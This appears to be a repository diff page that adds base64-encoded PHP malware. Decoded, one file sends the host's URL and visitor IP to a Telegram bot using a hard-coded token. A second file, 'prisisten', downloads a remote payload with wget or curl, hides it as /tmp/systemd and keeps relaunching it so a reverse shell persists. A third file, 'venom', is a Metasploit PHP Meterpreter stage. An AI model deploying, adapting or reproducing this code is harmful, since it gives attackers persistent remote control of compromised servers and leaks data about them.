akFhV3JRMnQ3ZmtxbnZrJzsgLy8gR2FudGkgZGVuZ2FuIHRva2VuIGJvdCBUZWxlZ3JhbSBrYW11
CiRjaGF0X2lkID0gJzUzNjE0MzI0MTcnOyAvLyBHYW50aSBkZW5nYW4gY2hhdCBJRCBUZWxlZ3Jh
bSBrYW11CgovLyBNZW5kYXBhdGthbiBVUkwgc2FhdCBpbmkKJHVybCA9IChpc3NldCgkX1NFUlZF
UlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT09ICdvbicgPyAiaHR0cHMiIDogImh0
dHAiKSAuICI6Ly8kX1NFUlZFUltIVFRQX0hPU1RdJF9TRVJWRVJbUkVRVUVTVF9VUkldIjsKCi8v
IE1lbmRhcGF0a2FuIGRvbWFpbiAoaG9zdG5hbWUpIHNhamEgZGFyaSBVUkwKJGRvbWFpbiA9IHBh
cnNlX3VybCgkdXJsLCBQSFBfVVJMX0hPU1QpOwoKLy8gTWVuZGFwYXRrYW4gYWxhbWF0IElQIHBl
bmdha3NlcwokaXBfYWRkcmVzcyA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoKLy8gTWVuZGFw
YXRrYW4gd2FrdHUgc2FhdCBpbmkKJGRhdGUgPSBkYXRlKCdZLW0tZCBIOmk6cycpOwoKLy8gTWVt
ZXJpa3NhIGFwYWthaCBVUkwgYXRhdSBkb21haW4gc3VkYWggZGlraXJpbSBzZWJlbHVtbnlhCmlm
ICghaXNzZXQoJF9TRVNTSU9OWydzZW50X3VybHMnXSkpIHsKICAgICRfU0VTU0lPTlsnc2VudF91
cmxzJ10gPSBbXTsgLy8gSW5pc2lhbGlzYXNpIGFycmF5IGppa2EgYmVsdW0gYWRhCn0KCi8vIEpp
a2EgVVJMIGF0YXUgZG9tYWluIGJlbHVtIHBlcm5haCBkaWtpcmltIHNlYmVsdW1ueWEsIGtpcmlt
IHBlc2FuIGtlIGJvdCBUZWxlZ3JhbQppZiAoIWluX2FycmF5KCR1cmwsICRfU0VTU0lPTlsnc2Vu
dF91cmxzJ10pKSB7CiAgICAvLyBNZW1idWF0IHBlc2FuIHBlcnNvbmFsCiAgICAkbWVzc2FnZSA9
ICJIZXkgeWFuZyBNdWxpYSBUdWFuIFN5biwgSGFtYmEgbWVuZGFwYXRrYW4gc3VyYXQgY2ludGEg
ZGFyaSAkaXBfYWRkcmVzc1xuIjsKICAgICRtZXNzYWdlIC49ICJBY3Rpdml0eSBMb2cgVXJsOiAk
dXJsXG4iOwogICAgJG1lc3NhZ2UgLj0gIm9uIGRhdGU6ICRkYXRlIjsKCiAgICAvLyBNZW1idWF0
IFVSTCB1bnR1ayBtZW5naXJpbSBwZXNhbiBrZSBib3QgVGVsZWdyYW0KICAgICRzZW5kX3VybCA9
ICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JGJvdF90b2tlbi9zZW5kTWVzc2FnZSI7Cgog
ICAgLy8gSW5pc2lhbGlzYXNpIGNVUkwKICAgICRjaCA9IGN1cmxfaW5pdCgpOwoKICAgIC8vIFBl
bmdhdHVyYW4gY1VSTAogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHNlbmRfdXJs
KTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgIGN1cmxfc2V0
b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IC8vIEphbmdhbiB0YW1waWxr
YW4gb3V0cHV0CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9i
dWlsZF9xdWVyeShhcnJheSgKICAgICAgICAnY2hhdF9pZCcgPT4gJGNoYXRfaWQsCiAgICAgICAg
J3RleHQnID0+ICRtZXNzYWdlLAogICAgKSkpOwoKICAgIC8vIEVrc2VrdXNpIGNVUkwgdGFucGEg
bWVuYW1waWxrYW4gcmVzcG9uCiAgICBjdXJsX2V4ZWMoJGNoKTsKCiAgICAvLyBUdXR1cCBrb25l
a3NpIGNVUkwKICAgIGN1cmxfY2xvc2UoJGNoKTsKCiAgICAvLyBNZW55aW1wYW4gVVJMIGtlIGRh
bGFtIHNlc3Npb24gc2V0ZWxhaCBkaWtpcmltCiAgICAkX1NFU1NJT05bJ3NlbnRfdXJscyddW10g
PSAkdXJsOwp9CgovLyBNZW5nYWtoaXJpIHNjcmlwdCB0YW5wYSBvdXRwdXQKZXhpdCgpOwo/Pgo8
L2JvZHk+CjwvaHRtbD4K

1871
raw/geck Normal file

File diff suppressed because it is too large Load Diff

1838
raw/geck2 Normal file

File diff suppressed because it is too large Load Diff

1
raw/php/prisisten Normal file
View File

@ -0,0 +1 @@
a2lyYTE0MDY8P3BocAoKLy8gVVJMIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLnBocAokcGF5bG9hZFVybCA9ICdodHRwczovL2dpdC53YXJjZXVwcm9qZWN0Lm9yZy9zeW4vd1NwbG9pdEh1Yi9yYXcvYnJhbmNoL21haW4vcGF5bG9hZC9tc2YvcGhwL3Zlbm9tLnBocCc7ICAvLyAodGVzdGVkIHBheWxvYWQpLy8gR2FudGkgZGVuZ2FuIFVSTCB5YW5nIHNlc3VhaQoKLy8gRnVuZ3NpIHVudHVrIG1lbmphbGFua2FuIHBlcmludGFoIGRhbiBtZW1lcmlrc2EgZXhpdCBjb2RlCmZ1bmN0aW9uIHJ1bkNvbW1hbmQoKSB7CiAgICAvLyBQZXJpa3NhIGFwYWthaCBmaWxlIHN5c3RlbWQgYWRhIGRpIC90bXAKICAgIGlmICghZmlsZV9leGlzdHMoJy90bXAvc3lzdGVtZCcpKSB7CiAgICAgICAgZWNobyAiWypdIHBheWxvYWQgdGlkYWsgZGl0ZW11a2FuLiBNZW5ndW5kdWguLi5cbiI7CiAgICAgICAgZG93bmxvYWRQYXlsb2FkKCk7CiAgICB9CgogICAgLy8gUGVyaW50YWggdW50dWsgZGlqYWxhbmthbgogICAgJGNvbW1hbmQgPSAncGhwIC90bXAvc3lzdGVtZCc7IC8vIE1lbmphbGFua2FuIGZpbGUgeWFuZyBkaXVuZHVoIHNlYmFnYWkgc3lzdGVtZAogICAgZXhlYygkY29tbWFuZCwgJG91dHB1dCwgJGV4aXRDb2RlKTsKCiAgICBlY2hvICJDb21tYW5kIGV4ZWN1dGVkOiAkY29tbWFuZFxuIjsKICAgIGVjaG8gIkV4aXQgY29kZTogJGV4aXRDb2RlXG4iOwoKICAgIC8vIEhhbnlhIGphbGFuIGppa2EgZXhpdCBjb2RlIG5vbi16ZXJvCiAgICBpZiAoJGV4aXRDb2RlICE9PSAwKSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSBub24temVybyBkZXRlY3RlZCAoJGV4aXRDb2RlKS4gQ2hlY2tpbmcgYWN0aXZlIHNlc3Npb24uLi5cbiI7CgogICAgICAgIC8vIENlayBhcGFrYWggcmV2ZXJzZSBzaGVsbCBzdWRhaCBiZXJqYWxhbgogICAgICAgICRpc1NoZWxsQWN0aXZlID0gZmFsc2U7CiAgICAgICAgZXhlYygicHMgYXV4IHwgZ3JlcCAncGhwIC90bXAvc3lzdGVtZCcgfCBncmVwIC12IGdyZXAiLCAkc2hlbGxPdXRwdXQpOwogICAgICAgIGlmICghZW1wdHkoJHNoZWxsT3V0cHV0KSkgewogICAgICAgICAgICBlY2hvICJbKl0gQWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNraXBwaW5nIHBheWxvYWQgZXhlY3V0aW9uLlxuIjsKICAgICAgICAgICAgJGlzU2hlbGxBY3RpdmUgPSB0cnVlOwogICAgICAgIH0KCiAgICAgICAgLy8gSmlrYSB0aWRhayBhZGEgc2Vzc2lvbiBha3RpZiwgamFsYW5rYW4gcGF5bG9hZAogICAgICAgIGlmICghJGlzU2hlbGxBY3RpdmUpIHsKICAgICAgICAgICAgZWNobyAiWypdIE5vIGFjdGl2ZSBzZXNzaW9uIGRldGVjdGVkLiBTcGF3bmluZyBwYXlsb2FkLi4uXG4iOwogICAgICAgICAgICBleGVjKCJub2h1cCBwaHAgL3RtcC9zeXN0ZW1kID4gL2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSB6ZXJvLiBObyBwYXlsb2FkIGV4ZWN1dGVkLlxuIjsKICAgIH0KfQoKLy8gRnVuZ3NpIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLnBocCBqaWthIHRpZGFrIGFkYQpmdW5jdGlvbiBkb3dubG9hZFBheWxvYWQoKSB7CiAgICAvLyBDZWsga2V0ZXJzZWRpYWFuIHdnZXQKICAgICR3Z2V0QXZhaWxhYmxlID0gc2hlbGxfZXhlYygnd2hpY2ggd2dldCcpOwogICAgLy8gQ2VrIGtldGVyc2VkaWFhbiBjdXJsCiAgICAkY3VybEF2YWlsYWJsZSA9IHNoZWxsX2V4ZWMoJ3doaWNoIGN1cmwnKTsKCiAgICBpZiAoIWVtcHR5KCR3Z2V0QXZhaWxhYmxlKSkgewogICAgICAgIGVjaG8gIlsqXSB3Z2V0IHRlcnNlZGlhLiBNZW5ndW5kdWggcGF5bG9hZC5waHAuLi5cbiI7CiAgICAgICAgZXhlYygid2dldCAkR0xPQkFMU1twYXlsb2FkVXJsXSAtTyAvdG1wL3N5c3RlbWQiKTsKICAgIH0gZWxzZWlmICghZW1wdHkoJGN1cmxBdmFpbGFibGUpKSB7CiAgICAgICAgZWNobyAiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCBwYXlsb2FkLnBocC4uLlxuIjsKICAgICAgICBleGVjKCJjdXJsIC1vIC90bXAvc3lzdGVtZCAkR0xPQkFMU1twYXlsb2FkVXJsXSIpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLnBocC5cbiI7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZnVuY3Rpb24gcnVuUGVyc2lzdGVudGx5KCkgewogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBydW5Db21tYW5kKCk7IC8vIEphbGFua2FuIHBlcmludGFoCiAgICAgICAgc2xlZXAoMyk7IC8vIFR1bmdndSBzZWxhbWEgNjAgZGV0aWsgc2ViZWx1bSBtZW5jb2JhIGxhZ2kKICAgIH0KfQoKLy8gTXVsYWkgbWVuamFsYW5rYW4gcGVyaW50YWggc2VjYXJhIHRlcnVzIG1lbmVydXMKcnVuUGVyc2lzdGVudGx5KCk7Cgo/PgpraXJhMTQwNg==

613
raw/php/venom Normal file
View File

@ -0,0 +1,613 @@
Lyo8P3BocCAvKiovIGlmICghaXNzZXQoJEdMT0JBTFNbJ2NoYW5uZWxzJ10pKSB7ICRHTE9CQUxT
WydjaGFubmVscyddID0gYXJyYXkoKTsgfSBpZiAoIWlzc2V0KCRHTE9CQUxTWydjaGFubmVsX3By
b2Nlc3NfbWFwJ10pKSB7ICRHTE9CQUxTWydjaGFubmVsX3Byb2Nlc3NfbWFwJ10gPSBhcnJheSgp
OyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ3Jlc291cmNlX3R5cGVfbWFwJ10pKSB7ICRHTE9CQUxT
WydyZXNvdXJjZV90eXBlX21hcCddID0gYXJyYXkoKTsgfSBpZiAoIWlzc2V0KCRHTE9CQUxTWyd1
ZHBfaG9zdF9tYXAnXSkpIHsgJEdMT0JBTFNbJ3VkcF9ob3N0X21hcCddID0gYXJyYXkoKTsgfSBp
ZiAoIWlzc2V0KCRHTE9CQUxTWydyZWFkZXJzJ10pKSB7ICRHTE9CQUxTWydyZWFkZXJzJ10gPSBh
cnJheSgpOyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ2lkMmYnXSkpIHsgJEdMT0JBTFNbJ2lkMmYn
XSA9IGFycmF5KCk7IH0gZnVuY3Rpb24gcmVnaXN0ZXJfY29tbWFuZCgkYywgJGkpIHsgZ2xvYmFs
ICRpZDJmOyBpZiAoISBpbl9hcnJheSgkaSwgJGlkMmYpKSB7ICRpZDJmWyRpXSA9ICRjOyB9IH0g
ZGVmaW5lKCJNWV9ERUJVR0dJTkciLCBmYWxzZSk7IGRlZmluZSgiTVlfREVCVUdHSU5HX0xPR19G
SUxFX1BBVEgiLCBmYWxzZSk7IGZ1bmN0aW9uIG15X2xvZ2ZpbGUoJHN0cikgeyBpZiAoTVlfREVC
VUdHSU5HICYmIE1ZX0RFQlVHR0lOR19MT0dfRklMRV9QQVRIKSB7IGlmICghaXNzZXQoJEdMT0JB
TFNbJ2xvZ2ZpbGUnXSkpIHsgJEdMT0JBTFNbJ2xvZ2ZpbGUnXSA9IGZvcGVuKE1ZX0RFQlVHR0lO
R19MT0dfRklMRV9QQVRILCAnYScpOyBpZiAoISRHTE9CQUxTWydsb2dmaWxlJ10pIHsgbXlfcHJp
bnQoIkZhaWxlZCB0byBvcGVuIGRlYnVnIGxvZyBmaWxlIik7IH0gfSBpZiAoJEdMT0JBTFNbJ2xv
Z2ZpbGUnXSkgeyBmd3JpdGUoJEdMT0JBTFNbJ2xvZ2ZpbGUnXSwgIiRzdHJcbiIpOyB9IH0gfSBm
dW5jdGlvbiBteV9wcmludCgkc3RyKSB7IGlmIChNWV9ERUJVR0dJTkcpIHsgZXJyb3JfbG9nKCRz
dHIpOyBteV9sb2dmaWxlKCRzdHIpOyB9IH0gbXlfcHJpbnQoIkV2YWxpbmcgbWFpbiBtZXRlcnBy
ZXRlciBzdGFnZSIpOyBmdW5jdGlvbiBkdW1wX2FycmF5KCRhcnIsICRuYW1lPW51bGwpIHsgaWYg
KGlzX251bGwoJG5hbWUpKSB7ICRuYW1lID0gIkFycmF5IjsgfSBteV9wcmludChzcHJpbnRmKCIk
bmFtZSAoJXMpIiwgY291bnQoJGFycikpKTsgZm9yZWFjaCAoJGFyciBhcyAka2V5ID0+ICR2YWwp
IHsgaWYgKGlzX2FycmF5KCR2YWwpKSB7IGR1bXBfYXJyYXkoJHZhbCwgInskbmFtZX1beyRrZXl9
XSIpOyB9IGVsc2UgeyBteV9wcmludChzcHJpbnRmKCIgJGtleSAoJHZhbCkiKSk7IH0gfSB9IGZ1
bmN0aW9uIGR1bXBfcmVhZGVycygpIHsgZ2xvYmFsICRyZWFkZXJzOyBkdW1wX2FycmF5KCRyZWFk
ZXJzLCAnUmVhZGVycycpOyB9IGZ1bmN0aW9uIGR1bXBfcmVzb3VyY2VfbWFwKCkgeyBnbG9iYWwg
JHJlc291cmNlX3R5cGVfbWFwOyBkdW1wX2FycmF5KCRyZXNvdXJjZV90eXBlX21hcCwgJ1Jlc291
cmNlIG1hcCcpOyB9IGZ1bmN0aW9uIGR1bXBfY2hhbm5lbHMoJGV4dHJhPSIiKSB7IGdsb2JhbCAk
Y2hhbm5lbHM7IGR1bXBfYXJyYXkoJGNoYW5uZWxzLCAnQ2hhbm5lbHMgJy4kZXh0cmEpOyB9IGlm
ICghZnVuY3Rpb25fZXhpc3RzKCJmaWxlX2dldF9jb250ZW50cyIpKSB7IGZ1bmN0aW9uIGZpbGVf
Z2V0X2NvbnRlbnRzKCRmaWxlKSB7ICRmID0gQGZvcGVuKCRmaWxlLCJyYiIpOyAkY29udGVudHMg
PSBmYWxzZTsgaWYgKCRmKSB7IGRvIHsgJGNvbnRlbnRzIC49IGZnZXRzKCRmKTsgfSB3aGlsZSAo
IWZlb2YoJGYpKTsgfSBmY2xvc2UoJGYpOyByZXR1cm4gJGNvbnRlbnRzOyB9IH0gaWYgKCFmdW5j
dGlvbl9leGlzdHMoJ3NvY2tldF9zZXRfb3B0aW9uJykpIHsgZnVuY3Rpb24gc29ja2V0X3NldF9v
cHRpb24oJHNvY2ssICR0eXBlLCAkb3B0LCAkdmFsdWUpIHsgc29ja2V0X3NldG9wdCgkc29jaywg
JHR5cGUsICRvcHQsICR2YWx1ZSk7IH0gfSBkZWZpbmUoIlBBWUxPQURfVVVJRCIsICJceDMwXHgw
OFx4OTVceGQ4XHg0M1x4YzRceDNlXHhlYlx4ZmNceGE0XHhlZlx4YWJceDliXHgzMlx4NGFceDU1
Iik7IGRlZmluZSgiU0VTU0lPTl9HVUlEIiwgIlx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBc
eDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiKTsgZGVmaW5lKCJBRVNfMjU2X0NC
QyIsICdhZXMtMjU2LWNiYycpOyBkZWZpbmUoIkVOQ19OT05FIiwgMCk7IGRlZmluZSgiRU5DX0FF
UzI1NiIsIDEpOyBkZWZpbmUoIlBBQ0tFVF9UWVBFX1JFUVVFU1QiLCAwKTsgZGVmaW5lKCJQQUNL
RVRfVFlQRV9SRVNQT05TRSIsIDEpOyBkZWZpbmUoIlBBQ0tFVF9UWVBFX1BMQUlOX1JFUVVFU1Qi
LCAxMCk7IGRlZmluZSgiUEFDS0VUX1RZUEVfUExBSU5fUkVTUE9OU0UiLCAxMSk7IGRlZmluZSgi
RVJST1JfU1VDQ0VTUyIsIDApOyBkZWZpbmUoIkVSUk9SX0ZBSUxVUkUiLCAxKTsgZGVmaW5lKCJD
SEFOTkVMX0NMQVNTX0JVRkZFUkVEIiwgMCk7IGRlZmluZSgiQ0hBTk5FTF9DTEFTU19TVFJFQU0i
LCAxKTsgZGVmaW5lKCJDSEFOTkVMX0NMQVNTX0RBVEFHUkFNIiwgMik7IGRlZmluZSgiQ0hBTk5F
TF9DTEFTU19QT09MIiwgMyk7IGRlZmluZSgiV0lOX0FGX0lORVQiLCAyKTsgZGVmaW5lKCJXSU5f
QUZfSU5FVDYiLCAyMyk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9OT05FIiwgKCAwICkpOyBkZWZp
bmUoIlRMVl9NRVRBX1RZUEVfU1RSSU5HIiwgKDEgPDwgMTYpKTsgZGVmaW5lKCJUTFZfTUVUQV9U
WVBFX1VJTlQiLCAoMSA8PCAxNykpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfUkFXIiwgKDEgPDwg
MTgpKTsgZGVmaW5lKCJUTFZfTUVUQV9UWVBFX0JPT0wiLCAoMSA8PCAxOSkpOyBkZWZpbmUoIlRM
Vl9NRVRBX1RZUEVfUVdPUkQiLCAoMSA8PCAyMCkpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfQ09N
UFJFU1NFRCIsICgxIDw8IDI5KSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9HUk9VUCIsICgxIDw8
IDMwKSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9DT01QTEVYIiwgKDEgPDwgMzEpKTsgZGVmaW5l
KCJUTFZfTUVUQV9UWVBFX01BU0siLCAoMTw8MzEpKygxPDwzMCkrKDE8PDI5KSsoMTw8MTkpKygx
PDwxOCkrKDE8PDE3KSsoMTw8MTYpKTsgZGVmaW5lKCJUTFZfUkVTRVJWRUQiLCAwKTsgZGVmaW5l
KCJUTFZfRVhURU5TSU9OUyIsIDIwMDAwKTsgZGVmaW5lKCJUTFZfVVNFUiIsIDQwMDAwKTsgZGVm
aW5lKCJUTFZfVEVNUCIsIDYwMDAwKTsgZGVmaW5lKCJUTFZfVFlQRV9BTlkiLCBUTFZfTUVUQV9U
WVBFX05PTkUgfCAwKTsgZGVmaW5lKCJUTFZfVFlQRV9DT01NQU5EX0lEIiwgVExWX01FVEFfVFlQ
RV9VSU5UIHwgMSk7IGRlZmluZSgiVExWX1RZUEVfUkVRVUVTVF9JRCIsIFRMVl9NRVRBX1RZUEVf
U1RSSU5HIHwgMik7IGRlZmluZSgiVExWX1RZUEVfRVhDRVBUSU9OIiwgVExWX01FVEFfVFlQRV9H
Uk9VUCB8IDMpOyBkZWZpbmUoIlRMVl9UWVBFX1JFU1VMVCIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8
IDQpOyBkZWZpbmUoIlRMVl9UWVBFX1NUUklORyIsIFRMVl9NRVRBX1RZUEVfU1RSSU5HIHwgMTAp
OyBkZWZpbmUoIlRMVl9UWVBFX1VJTlQiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAxMSk7IGRlZmlu
ZSgiVExWX1RZUEVfQk9PTCIsIFRMVl9NRVRBX1RZUEVfQk9PTCB8IDEyKTsgZGVmaW5lKCJUTFZf
VFlQRV9MRU5HVEgiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAyNSk7IGRlZmluZSgiVExWX1RZUEVf
REFUQSIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgMjYpOyBkZWZpbmUoIlRMVl9UWVBFX0ZMQUdTIiwg
VExWX01FVEFfVFlQRV9VSU5UIHwgMjcpOyBkZWZpbmUoIlRMVl9UWVBFX0NIQU5ORUxfSUQiLCBU
TFZfTUVUQV9UWVBFX1VJTlQgfCA1MCk7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9UWVBFIiwg
VExWX01FVEFfVFlQRV9TVFJJTkcgfCA1MSk7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9EQVRB
IiwgVExWX01FVEFfVFlQRV9SQVcgfCA1Mik7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9EQVRB
X0dST1VQIiwgVExWX01FVEFfVFlQRV9HUk9VUCB8IDUzKTsgZGVmaW5lKCJUTFZfVFlQRV9DSEFO
TkVMX0NMQVNTIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNTQpOyBkZWZpbmUoIlRMVl9UWVBFX1NF
RUtfV0hFTkNFIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNzApOyBkZWZpbmUoIlRMVl9UWVBFX1NF
RUtfT0ZGU0VUIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNzEpOyBkZWZpbmUoIlRMVl9UWVBFX1NF
RUtfUE9TIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNzIpOyBkZWZpbmUoIlRMVl9UWVBFX0VYQ0VQ
VElPTl9DT0RFIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgMzAwKTsgZGVmaW5lKCJUTFZfVFlQRV9F
WENFUFRJT05fU1RSSU5HIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCAzMDEpOyBkZWZpbmUoIlRM
Vl9UWVBFX0xJQlJBUllfUEFUSCIsIFRMVl9NRVRBX1RZUEVfU1RSSU5HIHwgNDAwKTsgZGVmaW5l
KCJUTFZfVFlQRV9UQVJHRVRfUEFUSCIsIFRMVl9NRVRBX1RZUEVfU1RSSU5HIHwgNDAxKTsgZGVm
aW5lKCJUTFZfVFlQRV9NQUNISU5FX0lEIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCA0NjApOyBk
ZWZpbmUoIlRMVl9UWVBFX1VVSUQiLCBUTFZfTUVUQV9UWVBFX1JBVyB8IDQ2MSk7IGRlZmluZSgi
VExWX1RZUEVfU0VTU0lPTl9HVUlEIiwgVExWX01FVEFfVFlQRV9SQVcgfCA0NjIpOyBkZWZpbmUo
IlRMVl9UWVBFX1JTQV9QVUJfS0VZIiwgVExWX01FVEFfVFlQRV9SQVcgfCA1NTApOyBkZWZpbmUo
IlRMVl9UWVBFX1NZTV9LRVlfVFlQRSIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8IDU1MSk7IGRlZmlu
ZSgiVExWX1RZUEVfU1lNX0tFWSIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgNTUyKTsgZGVmaW5lKCJU
TFZfVFlQRV9FTkNfU1lNX0tFWSIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgNTUzKTsgZGVmaW5lKCdF
WFRFTlNJT05fSURfQ09SRScsIDApOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DSEFOTkVMX0NM
T1NFJywgMSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfRU9GJywgMik7IGRlZmlu
ZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfSU5URVJBQ1QnLCAzKTsgZGVmaW5lKCdDT01NQU5E
X0lEX0NPUkVfQ0hBTk5FTF9PUEVOJywgNCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5O
RUxfUkVBRCcsIDUpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DSEFOTkVMX1NFRUsnLCA2KTsg
ZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9URUxMJywgNyk7IGRlZmluZSgnQ09NTUFO
RF9JRF9DT1JFX0NIQU5ORUxfV1JJVEUnLCA4KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ09O
U09MRV9XUklURScsIDkpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9FTlVNRVhUQ01EJywgMTAp
OyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9HRVRfU0VTU0lPTl9HVUlEJywgMTEpOyBkZWZpbmUo
J0NPTU1BTkRfSURfQ09SRV9MT0FETElCJywgMTIpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9N
QUNISU5FX0lEJywgMTMpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9NSUdSQVRFJywgMTQpOyBk
ZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9OQVRJVkVfQVJDSCcsIDE1KTsgZGVmaW5lKCdDT01NQU5E
X0lEX0NPUkVfTkVHT1RJQVRFX1RMVl9FTkNSWVBUSU9OJywgMTYpOyBkZWZpbmUoJ0NPTU1BTkRf
SURfQ09SRV9QQVRDSF9VUkwnLCAxNyk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1BJVk9UX0FE
RCcsIDE4KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfUElWT1RfUkVNT1ZFJywgMTkpOyBkZWZp
bmUoJ0NPTU1BTkRfSURfQ09SRV9QSVZPVF9TRVNTSU9OX0RJRUQnLCAyMCk7IGRlZmluZSgnQ09N
TUFORF9JRF9DT1JFX1NFVF9TRVNTSU9OX0dVSUQnLCAyMSk7IGRlZmluZSgnQ09NTUFORF9JRF9D
T1JFX1NFVF9VVUlEJywgMjIpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9TSFVURE9XTicsIDIz
KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX0FERCcsIDI0KTsgZGVmaW5lKCdD
T01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX0NIQU5HRScsIDI1KTsgZGVmaW5lKCdDT01NQU5EX0lE
X0NPUkVfVFJBTlNQT1JUX0dFVENFUlRIQVNIJywgMjYpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09S
RV9UUkFOU1BPUlRfTElTVCcsIDI3KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JU
X05FWFQnLCAyOCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1RSQU5TUE9SVF9QUkVWJywgMjkp
OyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfUkVNT1ZFJywgMzApOyBkZWZpbmUo
J0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfU0VUQ0VSVEhBU0gnLCAzMSk7IGRlZmluZSgnQ09N
TUFORF9JRF9DT1JFX1RSQU5TUE9SVF9TRVRfVElNRU9VVFMnLCAzMik7IGRlZmluZSgnQ09NTUFO
RF9JRF9DT1JFX1RSQU5TUE9SVF9TTEVFUCcsIDMzKTsgZnVuY3Rpb24gbXlfY21kKCRjbWQpIHsg
cmV0dXJuIHNoZWxsX2V4ZWMoJGNtZCk7IH0gZnVuY3Rpb24gaXNfd2luZG93cygpIHsgcmV0dXJu
IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIldJTiIpOyB9IGZ1bmN0aW9uIGlz
X2xpbnV4KCkgeyByZXR1cm4gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAiTElO
Iik7IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF9vcGVuJykpIHsgcmVnaXN0
ZXJfY29tbWFuZCgnY29yZV9jaGFubmVsX29wZW4nLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9P
UEVOKTsgZnVuY3Rpb24gY29yZV9jaGFubmVsX29wZW4oJHJlcSwgJiRwa3QpIHsgJHR5cGVfdGx2
ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfQ0hBTk5FTF9UWVBFKTsgbXlfcHJpbnQo
IkNsaWVudCB3YW50cyBhICIuICR0eXBlX3RsdlsndmFsdWUnXSAuIiBjaGFubmVsLCBpJ2xsIHNl
ZSB3aGF0IGkgY2FuIGRvIik7ICRoYW5kbGVyID0gImNoYW5uZWxfY3JlYXRlXyIuICR0eXBlX3Rs
dlsndmFsdWUnXTsgaWYgKCR0eXBlX3RsdlsndmFsdWUnXSAmJiBpc19jYWxsYWJsZSgkaGFuZGxl
cikpIHsgbXlfcHJpbnQoIkNhbGxpbmcgeyRoYW5kbGVyfSIpOyAkcmV0ID0gJGhhbmRsZXIoJHJl
cSwgJHBrdCk7IH0gZWxzZSB7IG15X3ByaW50KCJJIGRvbid0IGtub3cgaG93IHRvIG1ha2UgYSAi
